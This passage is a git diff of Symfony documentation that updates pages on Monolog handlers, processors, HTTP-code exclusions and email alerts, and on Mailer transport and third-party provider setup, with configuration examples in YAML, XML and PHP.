ChromePHP array format +* ``monolog.formatter.gelf_message``: serializes a format to GELF format +* ``monolog.formatter.html``: formats a record into an HTML table +* ``monolog.formatter.json``: serializes a record into a JSON object +* ``monolog.formatter.line``: formats a record into a one-line string +* ``monolog.formatter.loggly``: formats a record information into JSON in a format compatible with Loggly +* ``monolog.formatter.logstash``: serializes a record to Logstash Event Format +* ``monolog.formatter.normalizer``: normalizes a record to remove objects/resources so it's easier to dump to various targets +* ``monolog.formatter.scalar``: formats a record into an associative array of scalar (+ null) values (objects and arrays will be JSON encoded) +* ``monolog.formatter.wildfire``: serializes a record according to Wildfire's header requirements diff --git a/logging/handlers.rst b/logging/handlers.rst index 9f5b903cfa9..eb2b1ac2c9c 100644 --- a/logging/handlers.rst +++ b/logging/handlers.rst @@ -5,17 +5,9 @@ ElasticsearchLogstashHandler ---------------------------- This handler deals directly with the HTTP interface of Elasticsearch. This means -it will slow down your application if Elasticsearch takes times to answer. Even +it will slow down your application if Elasticsearch takes time to answer. Even if all HTTP calls are done asynchronously. -In a development environment, it's fine to keep the default configuration: for -each log, an HTTP request will be made to push the log to Elasticsearch. - -In a production environment, it's highly recommended to wrap this handler in a -handler with buffering capabilities (like the ``FingersCrossedHandler`` or -``BufferHandler``) in order to call Elasticsearch only once with a bulk push. For -even better performance and fault tolerance, a proper `ELK stack`_ is recommended. - To use it, declare it as a service: .. configuration-block:: @@ -26,6 +18,16 @@ To use it, declare it as a service: services: Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler: ~ + # optionally, configure the handler using the constructor arguments (shown values are default) + Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler: + arguments: + $endpoint: "http://127.0.0.1:9200" + $index: "monolog" + $client: null + $level: !php/enum Monolog\Level::Debug + $bubble: true + $elasticsearchVersion: '1.0.0' + .. code-block:: xml <!-- config/services.xml --> @@ -40,17 +42,43 @@ To use it, declare it as a service: <services> <service id="Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler"/> + + <!-- optionally, configure the handler using the constructor arguments (shown values are default) --> + <service id="Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler"> + <argument key="endpoint">http://127.0.0.1:9200</argument> + <argument key="index">monolog</argument> + <argument key="client"/> + <argument key="level" type="enum">Monolog\Level::Debug</argument> + <argument key="bubble">true</argument> + <argument key="elasticsearchVersion">1.0.0</argument> + </service> </services> </container> .. code-block:: php // config/services.php + use Monolog\Level; use Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler; $container->register(ElasticsearchLogstashHandler::class); -Then reference it in the Monolog configuration: + // optionally, configure the handler using the constructor arguments (shown values are default) + $container->register(ElasticsearchLogstashHandler::class) + ->setArguments([ + '$endpoint' => "http://127.0.0.1:9200", + '$index' => "monolog", + '$client' => null, + '$level' => Level::Debug, + '$bubble' => true, + '$elasticsearchVersion' => '1.0.0', + ]) + ; + +Then reference it in the Monolog configuration. + +In a development environment, it's fine to keep the default configuration: for +each log, an HTTP request will be made to push the log to Elasticsearch: .. configuration-block:: @@ -88,14 +116,78 @@ Then reference it in the Monolog configuration: // config/packages/prod/monolog.php use Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler; + use Symfony\Config\MonologConfig; + + return static function (MonologConfig $monolog): void { + $monolog->handler('es') + ->type('service') + ->id(ElasticsearchLogstashHandler::class) + ; + }; + +In a production environment, it's highly recommended to wrap this handler in a +handler with buffering capabilities (like the `FingersCrossedHandler`_ or +`BufferHandler`_) in order to call Elasticsearch only once with a bulk push. For +even better performance and fault tolerance, a proper `ELK stack`_ is recommended. + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/prod/monolog.yaml + monolog: + handlers: + main: + type: fingers_crossed + handler: es + + es: + type: service + id: Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler - $container->loadFromExtension('monolog', [ - 'handlers' => [ - 'es' => [ - 'type' => 'service', - 'id' => ElasticsearchLogstashHandler::class, - ], - ], - ]); + .. code-block:: xml + + <!-- config/packages/prod/monolog.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:monolog="http://symfony.com/schema/dic/monolog" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/monolog + https://symfony.com/schema/dic/monolog/monolog-1.0.xsd"> + + <monolog:config> + <monolog:handler + name="main" + type="fingers_crossed" + handler="es" + /> + <monolog:handler + name="es" + type="service" + id="Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler" + /> + </monolog:config> + </container> + + .. code-block:: php + // config/packages/prod/monolog.php + use Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler; + use Symfony\Config\MonologConfig; + + return static function (MonologConfig $monolog): void { + $monolog->handler('main') + ->type('fingers_crossed') + ->handler('es') + ; + $monolog->handler('es') + ->type('service') + ->id(ElasticsearchLogstashHandler::class) + ; + }; + +.. _`BufferHandler`: https://github.com/Seldaek/monolog/blob/main/src/Monolog/Handler/BufferHandler.php .. _`ELK stack`: https://www.elastic.co/what-is/elk-stack +.. _`FingersCrossedHandler`: https://github.com/Seldaek/monolog/blob/main/src/Monolog/Handler/FingersCrossedHandler.php diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst index 5c0263c5349..4d007abe854 100644 --- a/logging/monolog_console.rst +++ b/logging/monolog_console.rst @@ -1,6 +1,3 @@ -.. index:: - single: Logging; Console messages - How to Configure Monolog to Display Console Messages ==================================================== @@ -13,10 +10,9 @@ When a lot of logging has to happen, it's cumbersome to print information depending on the verbosity settings (``-v``, ``-vv``, ``-vvv``) because the calls need to be wrapped in conditions. For example:: - use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; - protected function execute(InputInterface $input, OutputInterface $output) + public function __invoke(OutputInterface $output): int { if ($output->isDebug()) { $output->writeln('Some info'); @@ -25,6 +21,8 @@ calls need to be wrapped in conditions. For example:: if ($output->isVerbose()) { $output->writeln('Some more info'); } + + // ... } Instead of using these semantic methods to test for each of the verbosity @@ -35,38 +33,46 @@ the current log level and the console verbosity. The example above could then be rewritten as:: - // src/Command/YourCommand.php + // src/Command/MyCommand.php namespace App\Command; use Psr\Log\LoggerInterface; + use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; - use Symfony\Component\Console\Input\InputInterface; - use Symfony\Component\Console\Output\OutputInterface; - // ... - class YourCommand extends Command + #[AsCommand(name: 'app:my-command')] + class MyCommand { - private $logger; - - public function __construct(LoggerInterface $logger) - { - $this->logger = $logger; + public function __construct( + private LoggerInterface $logger, + ) { } - protected function execute(InputInterface $input, OutputInterface $output) + public function __invoke(): int { $this->logger->debug('Some info'); - // ... $this->logger->notice('Some more info'); + + return Command::SUCCESS; } } Depending on the verbosity level that the command is run in and the user's configuration (see below), these messages may or may not be displayed to -the console. If they are displayed, they are timestamped and colored appropriately. +the console. If they are displayed, they are time-stamped and colored appropriately. Additionally, error logs are written to the error output (``php://stderr``). There is no need to conditionally handle the verbosity settings anymore. +=============== ======================================= ============ +LoggerInterface Verbosity Command line +=============== ======================================= ============ +->error() OutputInterface::VERBOSITY_QUIET stderr +->warning() OutputInterface::VERBOSITY_NORMAL stdout +->notice() OutputInterface::VERBOSITY_VERBOSE -v +->info() OutputInterface::VERBOSITY_VERY_VERBOSE -vv +->debug() OutputInterface::VERBOSITY_DEBUG -vvv +=============== ======================================= ============ + The Monolog console handler is enabled by default: .. configuration-block:: @@ -112,15 +118,15 @@ The Monolog console handler is enabled by default: .. code-block:: php // config/packages/dev/monolog.php - $container->loadFromExtension('monolog', [ - 'handlers' => [ - 'console' => [ - 'type' => 'console', - 'process_psr_3_messages' => false, - 'channels' => ['!event', '!doctrine', '!console'], - ], - ], - ]); + use Symfony\Config\MonologConfig; + + return static function (MonologConfig $monolog): void { + $monolog->handler('console') + ->type('console') + ->processPsr3Messages(false) + ->channels()->elements(['!event', '!doctrine', '!console']) + ; + }; Now, log messages will be shown on the console based on the log levels and verbosity. By default (normal verbosity level), warnings and higher will be shown. But in diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst index 22ed4d08928..d52629e0797 100644 --- a/logging/monolog_email.rst +++ b/logging/monolog_email.rst @@ -1,6 +1,3 @@ -.. index:: - single: Logging; Emailing errors - How to Configure Monolog to Email Errors ======================================== @@ -28,8 +25,7 @@ it is broken down. action_level: critical # to also log 400 level errors (but not 404's): # action_level: error - # excluded_404s: - # - ^/ + # excluded_http_codes: [404] handler: deduplicated deduplicated: type: deduplication @@ -62,7 +58,7 @@ it is broken down. to also log 400 level errors (but not 404's): action-level="error" And add this child inside this monolog:handler - <monolog:excluded-404>^/</monolog:excluded-404> + <monolog:excluded-http-code code="404"/> --> <monolog:handler name="main" @@ -99,36 +95,37 @@ it is broken down. .. code-block:: php // config/packages/prod/monolog.php - $container->loadFromExtension('monolog', [ - 'handlers' => [ - 'main' => [ - 'type' => 'fingers_crossed', - // 500 errors are logged at the critical level - 'action_level' => 'critical', - // to also log 400 level errors (but not 404's): - // 'action_level' => 'error', - // 'excluded_404s' => [ - // '^/', - // ], - 'handler' => 'deduplicated', - ], - 'deduplicated' => [ - 'type' => 'deduplication', - 'handler' => 'symfony_mailer', - ], - 'symfony_mailer' => [ - 'type' => 'symfony_mailer', - 'from_email' => 'error@example.com', - 'to_email' => 'error@example.com', - // or a list of recipients - // 'to_email' => ['dev1@example.com', 'dev2@example.com', ...], - 'subject' => 'An Error Occurred! %%message%%', - 'level' => 'debug', - 'formatter' => 'monolog.formatter.html', - 'content_type' => 'text/html', - ], - ], - ]); + use Symfony\Config\MonologConfig; + + return static function (MonologConfig $monolog): void { + $mainHandler = $monolog->handler('main') + ->type('fingers_crossed') + // 500 errors are logged at the critical level + ->actionLevel('critical') + // to also log 400 level errors: + // ->actionLevel('error') + ->handler('deduplicated') + ; + + // add this to exclude 404 errors + // $mainHandler->excludedHttpCode()->code(404); + + $monolog->handler('deduplicated') + ->type('deduplication') + ->handler('symfony_mailer'); + + $monolog->handler('symfony_mailer') + ->type('symfony_mailer') + ->fromEmail('error@example.com') + ->toEmail(['error@example.com']) + // or a list of recipients + // ->toEmail(['dev1@example.com', 'dev2@example.com', ...]) + ->subject('An Error Occurred! %%message%%') + ->level('debug') + ->formatter('monolog.formatter.html') + ->contentType('text/html') + ; + }; The ``main`` handler is a ``fingers_crossed`` handler which means that it is only triggered when the action level, in this case ``critical`` is reached. @@ -145,8 +142,8 @@ is then passed onto the ``deduplicated`` handler. The ``deduplicated`` handler keeps all the messages for a request and then passes them onto the nested handler in one go, but only if the records are -unique over a given period of time (60 seconds by default). If the records are -duplicated they are discarded. Adding this handler reduces the amount of +unique over a given period of time (60 seconds by default). Duplicated records are +discarded. Adding this handler reduces the amount of notifications to a manageable level, specially in critical failure scenarios. You can adjust the time period using the ``time`` option: @@ -177,17 +174,18 @@ You can adjust the time period using the ``time`` option: .. code-block:: php // config/packages/prod/monolog.php - $container->loadFromExtension('monolog', [ - 'handlers' => [ - // ... - 'deduplicated' => [ - 'type' => 'deduplication', - // the time in seconds during which duplicate entries are discarded (default: 60) - 'time' => 10, - 'handler' => 'symfony_mailer', - ], - ], - ]); + use Symfony\Config\MonologConfig; + + return static function (MonologConfig $monolog): void { + // ... + + $monolog->handler('deduplicated') + ->type('deduplication') + // the time in seconds during which duplicate entries are discarded (default: 60) + ->time(10) + ->handler('symfony_mailer') + ; + }; The messages are then passed to the ``symfony_mailer`` handler. This is the handler that actually deals with emailing you the error. The settings for this are @@ -285,41 +283,46 @@ get logged on the server as well as the emails being sent: .. code-block:: php // config/packages/prod/monolog.php - $container->loadFromExtension('monolog', [ - 'handlers' => [ - 'main' => [ - 'type' => 'fingers_crossed', - 'action_level' => 'critical', - 'handler' => 'grouped', - ], - 'grouped' => [ - 'type' => 'group', - 'members' => ['streamed', 'deduplicated'], - ], - 'streamed' => [ - 'type' => 'stream', - 'path' => '%kernel.logs_dir%/%kernel.environment%.log', - 'level' => 'debug', - ], - 'deduplicated' => [ - 'type' => 'deduplication', - 'handler' => 'symfony_mailer', - ], - 'symfony_mailer' => [ - 'type' => 'symfony_mailer', - 'from_email' => 'error@example.com', - 'to_email' => 'error@example.com', - // or a list of recipients - // 'to_email' => ['dev1@example.com', 'dev2@example.com', ...], - 'subject' => 'An Error Occurred! %%message%%', - 'level' => 'debug', - 'formatter' => 'monolog.formatter.html', - 'content_type' => 'text/html', - ], - ], - ]); - -This uses the ``group`` handler to send the messages to the two + use Symfony\Config\MonologConfig; + + return static function (MonologConfig $monolog): void { + $monolog->handler('main') + ->type('fingers_crossed') + ->actionLevel('critical') + ->handler('grouped') + ; + + $monolog->handler('grouped') + ->type('group') + ->members(['streamed', 'deduplicated']) + ; + + $monolog->handler('streamed') + ->type('stream') + ->path('%kernel.logs_dir%/%kernel.environment%.log') + ->level('debug') + ; + + $monolog->handler('deduplicated') + ->type('deduplication') + ->handler('symfony_mailer') + ; + + // still passed *all* logs, and still only logs error or higher + $monolog->handler('symfony_mailer') + ->type('symfony_mailer') + ->fromEmail('error@example.com') + ->toEmail(['error@example.com']) + // or a list of recipients + // ->toEmail(['dev1@example.com', 'dev2@example.com', ...]) + ->subject('An Error Occurred! %%message%%') + ->level('debug') + ->formatter('monolog.formatter.html') + ->contentType('text/html') + ; + }; + +This uses the ``grouped`` handler to send the messages to the two group members, the ``deduplicated`` and the ``stream`` handlers. The messages will now be both written to the log file and emailed. diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst index 9c1bd81bdcc..ee9fb16c01c 100644 --- a/logging/monolog_exclude_http_codes.rst +++ b/logging/monolog_exclude_http_codes.rst @@ -1,8 +1,3 @@ -.. index:: - single: Logging - single: Logging; Exclude HTTP Codes - single: Monolog; Exclude HTTP Codes - How to Configure Monolog to Exclude Specific HTTP Codes from the Log ==================================================================== @@ -49,18 +44,20 @@ logging these HTTP codes based on the MonologBundle configuration: .. code-block:: php // config/packages/prod/monolog.php - $container->loadFromExtension('monolog', [ - 'handlers' => [ - 'main' => [ - // ... - 'type' => 'fingers_crossed', - 'handler' => ..., - 'excluded_http_codes' => [403, 404], - ], - ], - ]); + use Symfony\Config\MonologConfig; + + return static function (MonologConfig $monolog): void { + $mainHandler = $monolog->handler('main') + // ... + ->type('fingers_crossed') + ->handler('...') + ; + + $mainHandler->excludedHttpCode()->code(403); + $mainHandler->excludedHttpCode()->code(404); + }; -.. caution:: +.. warning:: Combining ``excluded_http_codes`` with a ``passthru_level`` lower than ``error`` (i.e. ``debug``, ``info``, ``notice`` or ``warning``) will not diff --git a/logging/monolog_regex_based_excludes.rst b/logging/monolog_regex_based_excludes.rst deleted file mode 100644 index be4a6ee8b7e..00000000000 --- a/logging/monolog_regex_based_excludes.rst +++ /dev/null @@ -1,78 +0,0 @@ -.. index:: - single: Logging - single: Logging; Exclude 404 Errors - single: Monolog; Exclude 404 Errors - -How to Configure Monolog to Exclude 404 Errors from the Log -=========================================================== - -.. tip:: - - Read :doc:`/logging/monolog_exclude_http_codes` to learn about a similar - but more generic feature that allows to exclude logs for any HTTP status - code and not only 404 errors. - -Sometimes your logs become flooded with unwanted 404 HTTP errors, for example, -when an attacker scans your app for some well-known application paths (e.g. -`/phpmyadmin`). When using a ``fingers_crossed`` handler, you can exclude -logging these 404 errors based on a regular expression in the MonologBundle -configuration: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/prod/monolog.yaml - monolog: - handlers: - main: - # ... - type: fingers_crossed - handler: ... - excluded_404s: - - ^/phpmyadmin - - .. code-block:: xml - - <!-- config/packages/prod/monolog.xml --> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:monolog="http://symfony.com/schema/dic/monolog" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/monolog - https://symfony.com/schema/dic/monolog/monolog-1.0.xsd"> - - <monolog:config> - <monolog:handler type="fingers_crossed" name="main" handler="..."> - <!-- ... --> - <monolog:excluded-404>^/phpmyadmin</monolog:excluded-404> - </monolog:handler> - </monolog:config> - </container> - - .. code-block:: php - - // config/packages/prod/monolog.php - $container->loadFromExtension('monolog', [ - 'handlers' => [ - 'main' => [ - // ... - 'type' => 'fingers_crossed', - 'handler' => ..., - 'excluded_404s' => [ - '^/phpmyadmin', - ], - ], - ], - ]); - - -.. caution:: - - Combining ``excluded_404s`` with a ``passthru_level`` lower than - ``error`` (i.e. ``debug``, ``info``, ``notice`` or ``warning``) will not - actually exclude log messages for the URL(s) listed in ``excluded_404s`` - because they are logged with level of ``error`` or higher and - ``passthru_level`` takes precedence over the URLs being listed in - ``excluded_404s``. diff --git a/logging/processors.rst b/logging/processors.rst index 605c571b244..17044f229e0 100644 --- a/logging/processors.rst +++ b/logging/processors.rst @@ -19,30 +19,33 @@ using a processor:: // src/Logger/SessionRequestProcessor.php namespace App\Logger; - use Symfony\Component\HttpFoundation\Session\SessionInterface; + use Monolog\LogRecord; + use Monolog\Processor\ProcessorInterface; + use Symfony\Component\HttpFoundation\Exception\SessionNotFoundException; + use Symfony\Component\HttpFoundation\RequestStack; - class SessionRequestProcessor + class SessionRequestProcessor implements ProcessorInterface { - private $session; - private $sessionId; - - public function __construct(SessionInterface $session) - { - $this->session = $session; + public function __construct( + private RequestStack $requestStack + ) { } - // this method is called for each log record; optimize it to not hurt performance - public function __invoke(array $record) + // method is called for each log record; optimize it to not hurt performance + public function __invoke(LogRecord $record): LogRecord { - if (!$this->session->isStarted()) { + try { + $session = $this->requestStack->getSession(); + } catch (SessionNotFoundException $e) { return $record; } - - if (!$this->sessionId) { - $this->sessionId = substr($this->session->getId(), 0, 8) ?: '????????'; + if (!$session->isStarted()) { + return $record; } - $record['extra']['token'] = $this->sessionId.'-'.substr(uniqid('', true), -8); + $sessionId = substr($session->getId(), 0, 8) ?: '????????'; + + $record->extra['token'] = $sessionId.'-'.substr(uniqid('', true), -8); return $record; } @@ -103,7 +106,7 @@ information: $container ->register(SessionRequestProcessor::class) - ->addTag('monolog.processor', ['method' => 'processRecord']); + ->addTag('monolog.processor'); Finally, set the formatter to be used on whatever handler you want: @@ -146,21 +149,47 @@ Finally, set the formatter to be used on whatever handler you want: .. code-block:: php // config/packages/prod/monolog.php - $container->loadFromExtension('monolog', [ - 'handlers' => [ - 'main' => [ - 'type' => 'stream', - 'path' => '%kernel.logs_dir%/%kernel.environment%.log', - 'level' => 'debug', - 'formatter' => 'monolog.formatter.session_request', - ], - ], - ]); + use Symfony\Config\MonologConfig; + + return static function (MonologConfig $monolog): void { + $monolog->handler('main') + ->type('stream') + ->path('%kernel.logs_dir%/%kernel.environment%.log') + ->level('debug') + ->formatter('monolog.formatter.session_request') + ; + }; If you use several handlers, you can also register a processor at the handler level or at the channel level instead of registering it globally (see the following sections). +When registering a new processor, instead of adding the tag manually in your +configuration files, you can use the ``#[AsMonologProcessor]`` attribute to +apply it on the processor class:: + + // src/Logger/SessionRequestProcessor.php + namespace App\Logger; + + use Monolog\Attribute\AsMonologProcessor; + + #[AsMonologProcessor] + class SessionRequestProcessor + { + // ... + } + +The ``#[AsMonologProcessor]`` attribute takes these optional arguments: + +* ``channel``: the logging channel the processor should be pushed to; +* ``handler``: the handler the processor should be pushed to; +* ``method``: the method that processes the records (useful when applying + the attribute to the entire class instead of a single method). + +.. versionadded:: 3.8 + + The ``#[AsMonologProcessor]`` attribute was introduced in MonologBundle 3.8. + Symfony's MonologBridge provides processors that can be registered inside your application. :class:`Symfony\\Bridge\\Monolog\\Processor\\DebugProcessor` @@ -175,10 +204,6 @@ Symfony's MonologBridge provides processors that can be registered inside your a Adds information about the user who is impersonating the logged in user, namely username, roles and whether the user is authenticated. - .. versionadded:: 5.2 - - The ``SwitchUserTokenProcessor`` was introduced in Symfony 5.2. - :class:`Symfony\\Bridge\\Monolog\\Processor\\WebProcessor` Overrides data from the request using the data inside Symfony's request object. @@ -187,7 +212,7 @@ Symfony's MonologBridge provides processors that can be registered inside your a Adds information about current route (controller, action, route parameters). :class:`Symfony\\Bridge\\Monolog\\Processor\\ConsoleCommandProcessor` - Adds information about current console command. + Adds information about the current console command. .. seealso:: @@ -241,8 +266,8 @@ the ``monolog.processor`` tag: Registering Processors per Channel ---------------------------------- -You can register a processor per channel using the ``channel`` option of -the ``monolog.processor`` tag: +By default, processors are applied to all channels. Add the ``channel`` option +to the ``monolog.processor`` tag to only apply a processor for the given channel: .. configuration-block:: @@ -252,7 +277,7 @@ the ``monolog.processor`` tag: services: App\Logger\SessionRequestProcessor: tags: - - { name: monolog.processor, channel: main } + - { name: monolog.processor, channel: 'app' } .. code-block:: xml @@ -268,7 +293,7 @@ the ``monolog.processor`` tag: <services> <service id="App\Logger\SessionRequestProcessor"> - <tag name="monolog.processor" channel="main"/> + <tag name="monolog.processor" channel="app"/> </service> </services> </container> @@ -280,7 +305,7 @@ the ``monolog.processor`` tag: // ... $container ->register(SessionRequestProcessor::class) - ->addTag('monolog.processor', ['channel' => 'main']); + ->addTag('monolog.processor', ['channel' => 'app']); .. _`Monolog`: https://github.com/Seldaek/monolog -.. _`built-in Monolog processors`: https://github.com/Seldaek/monolog/tree/master/src/Monolog/Processor +.. _`built-in Monolog processors`: https://github.com/Seldaek/monolog/tree/main/src/Monolog/Processor diff --git a/mailer.rst b/mailer.rst index 352e3613fea..6979c91bc31 100644 --- a/mailer.rst +++ b/mailer.rst @@ -12,7 +12,6 @@ integration, CSS inlining, file attachments and a lot more. Get them installed w $ composer require symfony/mailer - .. _mailer-transport-setup: Transport Setup @@ -27,33 +26,119 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``, # .env MAILER_DSN=smtp://user:pass@smtp.example.com:port -.. caution:: +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/mailer.yaml + framework: + mailer: + dsn: '%env(MAILER_DSN)%' + + .. code-block:: xml + + <!-- config/packages/mailer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:mailer dsn="%env(MAILER_DSN)%"/> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/mailer.php + use Symfony\Config\FrameworkConfig; + use function Symfony\Component\DependencyInjection\Loader\Configurator\env; + + return static function (FrameworkConfig $framework): void { + $framework->mailer()->dsn(env('MAILER_DSN')); + }; + +.. warning:: + + If the username, password or host contain any character considered special in a + URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must + encode them. See `RFC 3986`_ for the full list of reserved characters or use the + :phpfunction:`urlencode` function to encode them. + +Using Built-in Transports +~~~~~~~~~~~~~~~~~~~~~~~~~ + +============ ======================================== ============================================================== +DSN protocol Example Description +============ ======================================== ============================================================== +smtp ``smtp://user:pass@smtp.example.com:25`` Mailer uses an SMTP server to send emails +sendmail ``sendmail://default`` Mailer uses the local sendmail binary to send emails +native ``native://default`` Mailer uses the sendmail binary and options configured + in the ``sendmail_path`` setting of ``php.ini``. On Windows + hosts, Mailer fallbacks to ``smtp`` and ``smtp_port`` + ``php.ini`` settings when ``sendmail_path`` is not configured. +============ ======================================== ============================================================== - If you are migrating from Swiftmailer (and the Swiftmailer bundle), be - warned that the DSN format is different. +.. warning:: + + When using ``native://default``, if ``php.ini`` uses the ``sendmail -t`` + command, you won't have error reporting and ``Bcc`` headers won't be removed. + It's highly recommended to NOT use ``native://default`` as you cannot control + how sendmail is configured (prefer using ``sendmail://default`` if possible). + +.. _mailer_3rd_party_transport: Using a 3rd Party Transport ~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Instead of using your own SMTP server, you can send emails via a 3rd party -provider. Mailer supports several - install whichever you want: +Instead of using your own SMTP server or sendmail binary, you can send emails +via a third-party provider: + +===================== =============================================== =============== +Service Install with Webhook support +===================== =============================================== =============== +`AhaSend`_ ``composer require symfony/aha-send-mailer`` yes +`Amazon SES`_ ``composer require symfony/amazon-mailer`` +`Azure`_ ``composer require symfony/azure-mailer`` +`Brevo`_ ``composer require symfony/brevo-mailer`` yes +`Infobip`_ ``composer require symfony/infobip-mailer`` +`Mailgun`_ ``composer require symfony/mailgun-mailer`` yes +`Mailjet`_ ``composer require symfony/mailjet-mailer`` yes +`Mailomat`_ ``composer require symfony/mailomat-mailer`` yes +`MailPace`_ ``composer require symfony/mail-pace-mailer`` +`MailerSend`_ ``composer require symfony/mailer-send-mailer`` yes +`Mailtrap`_ ``composer require symfony/mailtrap-mailer`` yes +`Mandrill`_ ``composer require symfony/mailchimp-mailer`` yes +`Postal`_ ``composer require symfony/postal-mailer`` +`Postmark`_ ``composer require symfony/postmark-mailer`` yes +`Resend`_ ``composer require symfony/resend-mailer`` yes +`Scaleway`_ ``composer require symfony/scaleway-mailer`` +`SendGrid`_ ``composer require symfony/sendgrid-mailer`` yes +`Sweego`_ ``composer require symfony/sweego-mailer`` yes +===================== =============================================== =============== + +.. versionadded:: 7.1 + + The Azure and Resend integrations were introduced in Symfony 7.1. + +.. versionadded:: 7.2 + + The Mailomat, Mailtrap, Postal and Sweego integrations were introduced in Symfony 7.2. + +.. versionadded:: 7.3 -================== ============================================== -Service Install with -================== ============================================== -Amazon SES ``composer require symfony/amazon-mailer`` -Gmail ``composer require symfony/google-mailer`` -MailChimp ``composer require symfony/mailchimp-mailer`` -Mailgun ``composer require symfony/mailgun-mailer`` -Mailjet ``composer require symfony/mailjet-mailer`` -Postmark ``composer require symfony/postmark-mailer`` -SendGrid ``composer require symfony/sendgrid-mailer`` -Sendinblue ``composer require symfony/sendinblue-mailer`` -================== ============================================== + The AhaSend integration was introduced in Symfony 7.3. -.. versionadded:: 5.2 +.. note:: - The Sendinblue integration was introduced in Symfony 5.2. + As a convenience, Symfony also provides support for Gmail (``composer + require symfony/google-mailer``), but this should not be used in + production. In development, you should probably use an :ref:`email catcher + <mail-catcher>` instead. Note that most supported providers also offer a + free tier. Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add a configuration example to your ``.env`` file. For example, suppose you want to @@ -72,14 +157,14 @@ You'll now have a new line in your ``.env`` file that you can uncomment: The ``MAILER_DSN`` isn't a *real* address: it's a convenient format that offloads most of the configuration work to mailer. The ``sendgrid`` scheme -activates the SendGrid provider that you just installed, which knows all about +activates the SendGrid provider that you installed, which knows all about how to deliver messages via SendGrid. The *only* part you need to change is the ``KEY`` placeholder. Each provider has different environment variables that the Mailer uses to configure the *actual* protocol, address and authentication for delivery. Some also have options that can be configured with query parameters at the end of the -``MAILER_DSN`` - like ``?region=`` for Amazon SES or Mailgun. Some providers support +``MAILER_DSN`` - like ``?region=`` for Amazon SES, Mailgun or Scaleway. Some providers support sending via ``http``, ``api`` or ``smtp``. Symfony chooses the best available transport, but you can force to use one: @@ -92,34 +177,116 @@ transport, but you can force to use one: This table shows the full list of available DSN formats for each third party provider: -==================== ==================================================== =========================================== ======================================== - Provider SMTP HTTP API -==================== ==================================================== =========================================== ======================================== - Amazon SES ses+smtp://ACCESS_KEY:SECRET_KEY@default ses+https://ACCESS_KEY:SECRET_KEY@default ses+api://ACCESS_KEY:SECRET_KEY@default - Google Gmail gmail+smtp://USERNAME:PASSWORD@default n/a n/a - Mailchimp Mandrill mandrill+smtp://USERNAME:PASSWORD@default mandrill+https://KEY@default mandrill+api://KEY@default - Mailgun mailgun+smtp://USERNAME:PASSWORD@default mailgun+https://KEY:DOMAIN@default mailgun+api://KEY:DOMAIN@default - Mailjet mailjet+smtp://ACCESS_KEY:SECRET_KEY@default n/a mailjet+api://ACCESS_KEY:SECRET_KEY@default - Postmark postmark+smtp://ID:ID@default n/a postmark+api://KEY@default - Sendgrid sendgrid+smtp://apikey:KEY@default n/a sendgrid+api://KEY@default - Sendinblue sendinblue+smtp://apikey:USERNAME:PASSWORD@default n/a sendinblue+api://KEY@default -==================== ==================================================== =========================================== ======================================== - -.. caution:: ++------------------------+---------------------------------------------------------+ +| Provider | Formats | ++========================+=========================================================+ +| `AhaSend`_ | - SMTP ``ahasend+smtp://USERNAME:PASSWORD@default`` | +| | - HTTP n/a | +| | - API ``ahasend+api://KEY@default`` | ++------------------------+---------------------------------------------------------+ +| `Amazon SES`_ | - SMTP ``ses+smtp://USERNAME:PASSWORD@default`` | +| | - HTTP ``ses+https://ACCESS_KEY:SECRET_KEY@default`` | +| | - API ``ses+api://ACCESS_KEY:SECRET_KEY@default`` | ++------------------------+---------------------------------------------------------+ +| `Azure`_ | - API ``azure+api://ACS_RESOURCE_NAME:KEY@default`` | ++------------------------+---------------------------------------------------------+ +| `Brevo`_ | - SMTP ``brevo+smtp://USERNAME:PASSWORD@default`` | +| | - HTTP n/a | +| | - API ``brevo+api://KEY@default`` | ++------------------------+---------------------------------------------------------+ +| `Google Gmail`_ | - SMTP ``gmail+smtp://USERNAME:APP-PASSWORD@default`` | +| | - HTTP n/a | +| | - API n/a | ++------------------------+---------------------------------------------------------+ +| `Infobip`_ | - SMTP ``infobip+smtp://KEY@default`` | +| | - HTTP n/a | +| | - API ``infobip+api://KEY@BASE_URL`` | ++------------------------+---------------------------------------------------------+ +| `Mandrill`_ | - SMTP ``mandrill+smtp://USERNAME:PASSWORD@default`` | +| | - HTTP ``mandrill+https://KEY@default`` | +| | - API 